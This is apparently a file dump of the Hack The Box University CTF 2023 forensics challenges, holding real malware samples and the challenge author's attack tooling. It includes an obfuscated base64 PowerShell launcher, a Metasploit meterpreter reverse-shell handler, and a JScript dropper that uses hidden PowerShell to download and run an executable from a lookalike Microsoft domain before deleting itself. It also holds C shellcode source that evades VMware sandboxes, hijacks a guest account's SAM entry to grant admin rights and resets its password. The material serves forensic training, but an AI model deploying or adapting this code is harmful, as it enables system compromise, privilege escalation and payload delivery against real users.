cGkem9tYmllcYgBlem9tYmllcHIem9tYmllcLgBIem9tYmllcG8em9tYmllcbQBlem9tYmllcCcem9tYmllcKQem9tYmllc7em9tYmllcCQem9tYmllcbQBlem9tYmllcHQem9tYmllcaem9tYmllcBvem9tYmllcGQem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcB0em9tYmllcHkem9tYmllccem9tYmllcBlem9tYmllcC4em9tYmllcRwBlem9tYmllcHQem9tYmllcTQBlem9tYmllcHQem9tYmllcaem9tYmllcBvem9tYmllcGQem9tYmllcKem9tYmllcem9tYmllcnem9tYmllcFYem9tYmllcQQBJem9tYmllcCcem9tYmllcKQem9tYmllcuem9tYmllcEkem9tYmllcbgB2em9tYmllcG8em9tYmllcawBlem9tYmllcCgem9tYmllcJem9tYmllcBuem9tYmllcHUem9tYmllcbem9tYmllcBsem9tYmllcCwem9tYmllcIem9tYmllcBbem9tYmllcG8em9tYmllcYgBqem9tYmllcGUem9tYmllcYwB0em9tYmllcFsem9tYmllcXQBdem9tYmllcCem9tYmllcem9tYmllcKem9tYmllcem9tYmllcnem9tYmllcFoem9tYmllcRem9tYmllcBWem9tYmllcGsem9tYmllcWgBtem9tYmllcFkem9tYmllceQBNem9tYmllcFcem9tYmllcSQB4em9tYmllcE4em9tYmllcMgBWem9tYmllcGwem9tYmllcTem9tYmllcBUem9tYmllcEYem9tYmllcbQBOem9tYmllcEQem9tYmllcZwB0em9tYmllcE4em9tYmllcVwBNem9tYmllcDMem9tYmllcTgBDem9tYmllcDEem9tYmllcagBPem9tYmllcFQem9tYmllcTQem9tYmllcwem9tYmllcEwem9tYmllcVwBRem9tYmllcDMem9tYmllcTQem9tYmllcyem9tYmllcE0em9tYmllceQBZem9tYmllcFQem9tYmllcWQB6em9tYmllcFem9tYmllcem9tYmllcVwem9tYmllc1em9tYmllcGwem9tYmllcYQem9tYmllcyem9tYmllcDkem9tYmllcMem9tYmllcBKem9tYmllcG0em9tYmllcRgBwem9tYmllcFoem9tYmllcRwBWem9tYmllcHQem9tYmllcUem9tYmllcBYem9tYmllcFIem9tYmllccwBZem9tYmllcFQem9tYmllcOQem9tYmllcwem9tYmllcGUem9tYmllcSem9tYmllcBRem9tYmllcHUem9tYmllcYwBtem9tYmllcFYem9tYmllcbQBjem9tYmllcDIem9tYmllcNQBoem9tYmllcGMem9tYmllcbgBRem9tYmllcHYem9tYmllcYgB5em9tYmllcDkem9tYmllcdem9tYmllcBiem9tYmllcDIem9tYmllcTQB1em9tYmllcGQem9tYmllcRwem9tYmllc5em9tYmllcHcem9tYmllcYwem9tYmllczem9tYmllcEIem9tYmllcdwBZem9tYmllcFMem9tYmllcNQBtem9tYmllcE8em9tYmllcVem9tYmllcBOem9tYmllcGoem9tYmllcTgBpem9tYmllcDEem9tYmllcbgBiem9tYmllcG0em9tYmllcbem9tYmllcByem9tYmllcFkem9tYmllcMgBGem9tYmllcG8em9tYmllcTem9tYmllcem9tYmllcyem9tYmllcEkem9tYmllcdgBNem9tYmllcEgem9tYmllcWQB2em9tYmllcGIem9tYmllcVwem9tYmllc5em9tYmllcGoem9tYmllcTem9tYmllcBuem9tYmllcE4em9tYmllccem9tYmllcBjem9tYmllcEcem9tYmllcRgBsem9tYmllcGIem9tYmllcRwBkem9tYmllcHYem9tYmllcYgem9tYmllcyem9tYmllcGMem9tYmllcdQBaem9tYmllcFcem9tYmllcZem9tYmllcBoem9tYmllcGMem9tYmllcbQem9tYmllc5em9tYmllcDem9tYmllcem9tYmllcYwem9tYmllcyem9tYmllcFYem9tYmllcegBZem9tYmllcFcem9tYmllcSgBsem9tYmllcGMem9tYmllcbQBsem9tYmllcG0em9tYmllcTem9tYmllcB5em9tYmllcDgem9tYmllcNgBjem9tYmllcDMem9tYmllcQgem9tYmllcwem9tYmllcGQem9tYmllcRwBnem9tYmllcD0em9tYmllcJwem9tYmllcgem9tYmllcCwem9tYmllcIem9tYmllcem9tYmllcnem9tYmllcGQem9tYmllcZgBkem9tYmllcGYem9tYmllcZem9tYmllcem9tYmllcnem9tYmllcCem9tYmllcem9tYmllcLem9tYmllcem9tYmllcgem9tYmllcCcem9tYmllcZem9tYmllcBmem9tYmllcGQem9tYmllcZgem9tYmllcnem9tYmllcCem9tYmllcem9tYmllcLem9tYmllcem9tYmllcgem9tYmllcCcem9tYmllcZem9tYmllcBmem9tYmllcGQem9tYmllcZgem9tYmllcnem9tYmllcCem9tYmllcem9tYmllcLem9tYmllcem9tYmllcgem9tYmllcCcem9tYmllcZem9tYmllcBhem9tYmllcGQem9tYmllccwBhem9tYmllcCcem9tYmllcIem9tYmllcem9tYmllcsem9tYmllcCem9tYmllcem9tYmllcJwBkem9tYmllcGUem9tYmllcJwem9tYmllcgem9tYmllcCwem9tYmllcIem9tYmllcem9tYmllcnem9tYmllcGMem9tYmllcdQem9tYmllcnem9tYmllcCkem9tYmllcKQem9tYmllc=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string($codigo.replace(''em9tYmllc'',''A'')));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/htb/vb.txt:
--------------------------------------------------------------------------------
1 | on error resume next
2 | iNVtSaitDqYDXJPxCfHWEAGYpemRZOHLslIzccealttvDCTUqMsJwWxzGzqbwJPbsFmAIyBdCUmDErCJhFpNugssgEeEfUuxLBqtODyIAbXsCkFaBkqihZAoxURjiseVzLxwJUwdDMykQieOhEfaMsBsvUxwRIIYumjFlLGFCwpaHHHySoCLcFnuaZhKvLWGhOnYCUQVSAeQRYgxSKGZX
3 | bBMSeGdXWzWWYkcbbZGWwQtGEGIVliXUdncyWQUOtMJjqXcTpQRfcltWEspfFbrIQxlCWyiWMjqewZnYmjlXlyubzhCvrVKRXBZwPcZBGVdocfIkWUQwXnrrByMhTGTZdgqohwHAZivRetLgZjmOBZaVjieAHIvCpErXkrDYXXfFqLVrhByAZjPwIBl:ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz = " "
4 | dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
5 | dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
6 | dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
7 | dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
8 | dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
9 | dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/banner.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/htb.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/pdf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/pdf.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/vt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/vt.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/wireshark.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/assets/wireshark.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/biohazard_containment_update.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/biohazard_containment_update.pdf
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/msf/handler.rc:
--------------------------------------------------------------------------------
1 | use exploit/multi/handler
2 | set payload windows/x64/meterpreter_reverse_tcp
3 | set LHOST vboxnet0
4 | set LPORT 21589
5 |
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/msf/runner.js:
--------------------------------------------------------------------------------
1 | var sh = new ActiveXObject("WScript.Shell");
2 | sh.Run(
3 | "powershell.exe -W Hidden -nop -ep bypass -NoExit -E JABuAGEAbQBlACAAPQAgACIAYgBpAG8AaABhAHoAYQByAGQAXwBjAG8AbgB0AGEAaQBuAG0AZQBuAHQAXwB1AHAAZABhAHQAZQAuAHAAZABmACIADQAKACQAcABhAHQAaAAgAD0AIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAXAAkAG4AYQBtAGUAIgANAAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAFIASQAgACIAaAB0AHQAcAA6AC8ALwBzAHQAbwByAGEAZwBlAC4AbQBpAGMAcgBvAHMAbwBmAHQAYwBsAG8AdQBkAHMAZQByAHYAaQBjAGUAcwAuAGMAbwBtADoAOAA4ADEANwAvACQAbgBhAG0AZQAiACAALQBPAHUAdABGAGkAbABlACAAJABwAGEAdABoAA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABwAGEAdABoAA=="
4 | );
5 | sh.Run(
6 | "powershell.exe -W Hidden -nop -ep bypass -NoExit -E aQB3AHIAIAAtAHUAcgBpACAAaAB0AHQAcAA6AC8ALwBzAHQAbwByAGEAZwBlAC4AbQBpAGMAcgBvAHMAbwBmAHQAYwBsAG8AdQBkAHMAZQByAHYAaQBjAGUAcwAuAGMAbwBtADoAOAA4ADEANwAvAHMAdAAuAGUAeABlACAALQBvAHUAdABmAGkAbABlACAAJABlAG4AdgA6AFQARQBNAFAAXABzAHQALgBlAHgAZQANAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcwB0AC4AZQB4AGUAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMA"
7 | );
8 |
9 | var js_file_path = WScript.ScriptFullName;
10 | sh.Run("cmd.exe /c del " + js_file_path);
11 |
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode.bin
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.34024.191
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UNI-ctf-shellcode", "UNI-ctf-shellcode\UNI-ctf-shellcode.vcxproj", "{3012F290-4C0D-4543-97B3-9E21D305A8EB}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Debug|x64.ActiveCfg = Debug|x64
17 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Debug|x64.Build.0 = Debug|x64
18 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Debug|x86.ActiveCfg = Debug|Win32
19 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Debug|x86.Build.0 = Debug|Win32
20 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Release|x64.ActiveCfg = Release|x64
21 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Release|x64.Build.0 = Release|x64
22 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Release|x86.ActiveCfg = Release|Win32
23 | {3012F290-4C0D-4543-97B3-9E21D305A8EB}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {4FDDD797-906A-496F-9304-51F50069D82A}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/UNI-ctf-shellcode.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 | 17.0
29 | Win32Proj
30 | {3012f290-4c0d-4543-97b3-9e21d305a8eb}
31 | UNIctfshellcode
32 | 10.0
33 |
34 |
35 |
36 | Application
37 | true
38 | v143
39 | Unicode
40 |
41 |
42 | Application
43 | false
44 | v143
45 | true
46 | Unicode
47 |
48 |
49 | Application
50 | true
51 | v143
52 | Unicode
53 |
54 |
55 | Application
56 | false
57 | v143
58 | true
59 | Unicode
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 | Level3
82 | true
83 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
84 | true
85 |
86 |
87 | Console
88 | true
89 |
90 |
91 |
92 |
93 | Level3
94 | true
95 | true
96 | true
97 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
98 | true
99 |
100 |
101 | Console
102 | true
103 | true
104 | true
105 |
106 |
107 |
108 |
109 | Level3
110 | true
111 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
112 | true
113 |
114 |
115 | Console
116 | true
117 |
118 |
119 |
120 |
121 | Level3
122 | true
123 | true
124 | true
125 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
126 | true
127 |
128 |
129 | Console
130 | true
131 | true
132 | true
133 |
134 |
135 |
136 |
137 |
138 |
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/UNI-ctf-shellcode.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
23 |
24 | Source Files
25 |
26 |
27 |
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/UNI-ctf-shellcode.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | true
5 |
6 |
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include "peb_lookup.h"
3 |
4 | typedef UINT(WINAPI* WinExec_t)(LPCSTR, UINT);
5 | typedef HMODULE(WINAPI* LoadLibraryA_t)(LPCSTR);
6 | typedef LPCSTR(WINAPI* lstrcatA_t)(LPSTR, LPCSTR);
7 | typedef int(WINAPIV* wsprintfA_t)(LPSTR, LPCSTR, ...);
8 | typedef FARPROC(WINAPI* GetProcAddress_t)(HMODULE, LPCSTR);
9 | typedef DWORD(WINAPI* NetUserSetInfo_t)(LPWSTR, LPWSTR, DWORD, PBYTE, PDWORD);
10 | typedef LSTATUS(WINAPI* RegOpenKeyExA_t)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
11 | typedef LSTATUS(WINAPI* RegSetKeyValueA_t)(HKEY, LPCSTR, LPCSTR, DWORD, LPCVOID, DWORD);
12 | typedef LSTATUS(WINAPI* RegGetValueA_t)(HKEY, LPCSTR, LPCSTR, DWORD, LPDWORD, LPVOID, LPDWORD);
13 |
14 |
15 | typedef struct _USER_INFO_1003 {
16 | LPWSTR usri1003_password;
17 | } USER_INFO_1003, * PUSER_INFO_1003, * LPUSER_INFO_1003;
18 |
19 | inline void fix(wchar_t * buffer, wchar_t * key) {
20 | for (int i = 0; i < 60; i++) {
21 | buffer[i] ^= key[i];
22 | }
23 | buffer[59] = L'\0';
24 | }
25 |
26 | int main() {
27 | wchar_t kernel32_str[] = L"kernel32.dll";
28 | wchar_t username_str[] = L"BIOHAZARD_MGMT_GUEST";
29 |
30 | char user32_str[] = "user32.dll";
31 | char advapi32_str[] = "advapi32.dll";
32 | char netapi32_str[] = "netapi32.dll";
33 | char LoadLibraryA_str[] = "LoadLibraryA";
34 | char GetProcAddress_str[] = "GetProcAddress";
35 |
36 | // for some reason this can't be inlined properly
37 | // if defined like the other strings will fail lookup after manual linking
38 | char WinExec_str[] = { 'W', 'i', 'n', 'E', 'x', 'e', 'c', '\0' };
39 | char wsprintfA_str[] = "wsprintfA";
40 | char lstrcatA_str[] = "lstrcatA";
41 | char RegGetValueA_str[] = "RegGetValueA";
42 | char RegSetKeyValueA_str[] = "RegSetKeyValueA";
43 | char CreateFileA_str[] = "CreateFileA";
44 | char CloseHandle_str[] = "CloseHandle";
45 | char RegOpenKeyExA_str[] = "RegOpenKeyExA";
46 | char NetUserSetInfo_str[] = "NetUserSetInfo";
47 |
48 | //char user_add_str[] = "cmd.exe /c net user GUEST_1 /add";
49 | char reg_users_key_str[] = { 'S','A','M','\\','S','A','M','\\','D','o','m','a','i','n','s','\\','A','c','c','o','u','n','t','\\','U','s','e','r','s','\\','\0' };
50 | char reg_username_key_str[] = { 'S','A','M','\\','S','A','M','\\','D','o','m','a','i','n','s','\\','A','c','c','o','u','n','t','\\','U','s','e','r','s','\\','N','a','m','e','s','\\','b','i','o','h','a','z','a','r','d','_','m','g','m','t','_','g','u','e','s','t','\0' };
51 | char F[] = { 'F', '\0' };
52 | char pass_change_cmd_str[] = { 'c','m','d','.','e','x','e',' ','/','c',' ','n','e','t',' ','u','s','e','r',' ','B','I','O','H','A','Z','A','R','D','_','M','G','M','T','_','G','U','E','S','T','\0' };
53 |
54 | wchar_t new_pass[] = L"\x84\x63\x8e\x53\x32\x3b\x37\x35\xd0\xc4\xaf\x79\x2c\x4b\xdb\xb6\xae\xdd\xac\x76\x9e\x93\x9d\x14\x41\x88\x94\xe5\x3f\x40\xbb\x3e\x3b\xbe\x59\x9a\xce\x90\x1b\xf2\x00\xc6\x32\x11\x85\x35\x2a\x57\x5d\x52\xbb\x19\xea\xa2\x77\x3b\x30\x5d\x68";
55 | wchar_t key[] = L"\xcc\x37\xcc\x28\x51\x4e\x44\x41\xe0\xa9\xf0\x2a\x1f\x39\xae\xdb\x83\x85\xf5\x29\xed\xfb\xae\x78\x2d\xeb\xa4\x81\x5a\x1f\x8f\x59\x0f\x8f\x37\xe9\xba\xcf\x53\xc6\x63\xad\x41\x65\xb6\x47\x75\x02\x33\x63\xcd\x2a\x98\xd1\x46\x4f\x49\x7c\x15";
56 |
57 |
58 | // resolve kernel32.dll address
59 | LPVOID kernel32_dll = get_module_by_name((const LPWSTR)kernel32_str);
60 | if (!kernel32_dll) return 1;
61 |
62 | // resolve LoadLibraryA() address
63 | LPVOID __load_lib = get_func_by_name((HMODULE)kernel32_dll, LoadLibraryA_str);
64 | if (!__load_lib) return 2;
65 |
66 | // resolve GetProcAddress() address
67 | LPVOID __get_proc = get_func_by_name((HMODULE)kernel32_dll, GetProcAddress_str);
68 | if (!__get_proc) return 3;
69 |
70 | // define functions
71 | LoadLibraryA_t _LoadLibraryA = (LoadLibraryA_t)__load_lib;
72 | GetProcAddress_t _GetProcAddress = (GetProcAddress_t)__get_proc;
73 |
74 | // Load user32.dll and advapi32.dll
75 | LPVOID user32_dll = _LoadLibraryA(user32_str);
76 | LPVOID advapi32_dll = _LoadLibraryA(advapi32_str);
77 | LPVOID netapi32_dll = _LoadLibraryA(netapi32_str);
78 |
79 | if (!user32_dll || !advapi32_dll || !netapi32_dll) return 4;
80 |
81 | // Load needed functions
82 |
83 | // Load kernel32.dll functions
84 | WinExec_t _WinExec = (WinExec_t)_GetProcAddress((HMODULE)kernel32_dll, WinExec_str);
85 | lstrcatA_t _lstrcatA = (lstrcatA_t)_GetProcAddress((HMODULE)kernel32_dll, lstrcatA_str);
86 |
87 | if (!_WinExec || !_lstrcatA) return 5;
88 |
89 | // Load advapi32.dll functions
90 | RegGetValueA_t _RegGetValueA = (RegGetValueA_t)_GetProcAddress((HMODULE)advapi32_dll, RegGetValueA_str);
91 | RegSetKeyValueA_t _RegSetKeyValueA = (RegSetKeyValueA_t)_GetProcAddress((HMODULE)advapi32_dll, RegSetKeyValueA_str);
92 | RegOpenKeyExA_t _RegOpenKeyExA = (RegOpenKeyExA_t)_GetProcAddress((HMODULE)advapi32_dll, RegOpenKeyExA_str);
93 |
94 | if (!_RegGetValueA || !_RegSetKeyValueA || !_RegOpenKeyExA) return 6;
95 |
96 | // Load user32.dll functions
97 | wsprintfA_t _wsprintfA = (wsprintfA_t)_GetProcAddress((HMODULE)user32_dll, wsprintfA_str);
98 |
99 | if (!_wsprintfA) return 7;
100 |
101 | // Load netapi32.dll functions
102 | NetUserSetInfo_t _NetUserSetInfo = (NetUserSetInfo_t)_GetProcAddress((netapi32_dll), NetUserSetInfo_str);
103 |
104 | if (!_NetUserSetInfo) return 8;
105 | //////////// DBG Checks!
106 |
107 |
108 |
109 | HKEY hKey;
110 | LSTATUS vm_status = _RegOpenKeyExA(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\VMware, Inc.\\VMware Tools"), 0, KEY_QUERY_VALUE, &hKey);
111 | if (vm_status == ERROR_SUCCESS) return 101;
112 |
113 | //////////// Execution
114 |
115 | // Add user
116 | // UINT winex_status = _WinExec(user_add_str, 0);
117 | // if (winex_status < 31) return 8;
118 |
119 |
120 | // Find RID of the newly added user
121 | LPDWORD __user_rid;
122 | LSTATUS status = _RegGetValueA(HKEY_LOCAL_MACHINE, reg_username_key_str, NULL, RRF_RT_ANY, &__user_rid, NULL, NULL);
123 | if (status != 0) return 9;
124 |
125 | char subkey[64];
126 | int f_size = 0x50;
127 | int user_rid = (int)__user_rid;
128 | char reg_F_value[0x50];
129 |
130 | _wsprintfA(subkey, "%s%08x\0", reg_users_key_str, user_rid);
131 | // Grab the F value
132 | status = _RegGetValueA(HKEY_LOCAL_MACHINE, subkey, F, RRF_RT_ANY, NULL, reg_F_value, &f_size);
133 | if (status != 0) return 10;
134 |
135 | // User is now "Default Admin"
136 | reg_F_value[0x30] = 0xf4;
137 | reg_F_value[0x31] = 0x01;
138 |
139 | // Set F value back
140 | status = _RegSetKeyValueA(HKEY_LOCAL_MACHINE, subkey, F, RRF_RT_ANY, reg_F_value, f_size);
141 | if (status != 0) return 11;
142 |
143 |
144 | fix(new_pass, key);
145 |
146 | // Change password
147 | DWORD dwLevel = 1003;
148 | USER_INFO_1003 ui;
149 | DWORD nStatus;
150 |
151 | ui.usri1003_password = new_pass;
152 |
153 | nStatus = _NetUserSetInfo(NULL, username_str, dwLevel, (LPBYTE)&ui, NULL);
154 |
155 | if (nStatus != 0) return 12;
156 |
157 |
158 | /*_wsprintfA(reg_F_value, "%s %s\0", pass_change_cmd_str, new_pass);
159 | int winex_status = _WinExec(reg_F_value, 0);
160 | if (winex_status < 31) return 12;*/
161 |
162 | return 0;
163 | }
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/peb_lookup.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | #ifndef __NTDLL_H__
5 |
6 | #ifndef TO_LOWERCASE
7 | #define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)
8 | #endif
9 |
10 |
11 | typedef struct _UNICODE_STRING
12 | {
13 | USHORT Length;
14 | USHORT MaximumLength;
15 | PWSTR Buffer;
16 |
17 | } UNICODE_STRING, * PUNICODE_STRING;
18 |
19 | typedef struct _PEB_LDR_DATA
20 | {
21 | ULONG Length;
22 | BOOLEAN Initialized;
23 | HANDLE SsHandle;
24 | LIST_ENTRY InLoadOrderModuleList;
25 | LIST_ENTRY InMemoryOrderModuleList;
26 | LIST_ENTRY InInitializationOrderModuleList;
27 | PVOID EntryInProgress;
28 |
29 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
30 |
31 | //here we don't want to use any functions imported form extenal modules
32 |
33 | typedef struct _LDR_DATA_TABLE_ENTRY {
34 | LIST_ENTRY InLoadOrderModuleList;
35 | LIST_ENTRY InMemoryOrderModuleList;
36 | LIST_ENTRY InInitializationOrderModuleList;
37 | void* BaseAddress;
38 | void* EntryPoint;
39 | ULONG SizeOfImage;
40 | UNICODE_STRING FullDllName;
41 | UNICODE_STRING BaseDllName;
42 | ULONG Flags;
43 | SHORT LoadCount;
44 | SHORT TlsIndex;
45 | HANDLE SectionHandle;
46 | ULONG CheckSum;
47 | ULONG TimeDateStamp;
